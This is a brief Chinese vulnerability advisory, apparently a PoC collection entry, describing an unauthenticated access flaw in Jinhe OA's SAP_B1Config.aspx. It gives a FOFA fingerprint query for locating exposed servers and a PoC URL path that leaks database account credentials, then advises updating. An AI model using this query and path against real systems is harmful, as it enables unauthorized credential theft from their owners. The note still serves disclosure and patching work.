产品简介 金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统升开发平台,电子政务一体化平台智慧电商平合等服务 漏洞概述 金和OA SAP_B1Config.aspx存在未授权访问漏洞,攻击者可通过此漏洞获取数据库的账户密码等敏感信息。 指纹识别 fofa: app="金和网络-金和OA" 漏洞利用 poc: /C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1 泄露数据库的连接账户和密码 修复建议 联系软件厂商更新至最新安全版本 【有些话可以不说透,自欺欺人,就可以糊涂一世,打打闹闹轻轻松松。】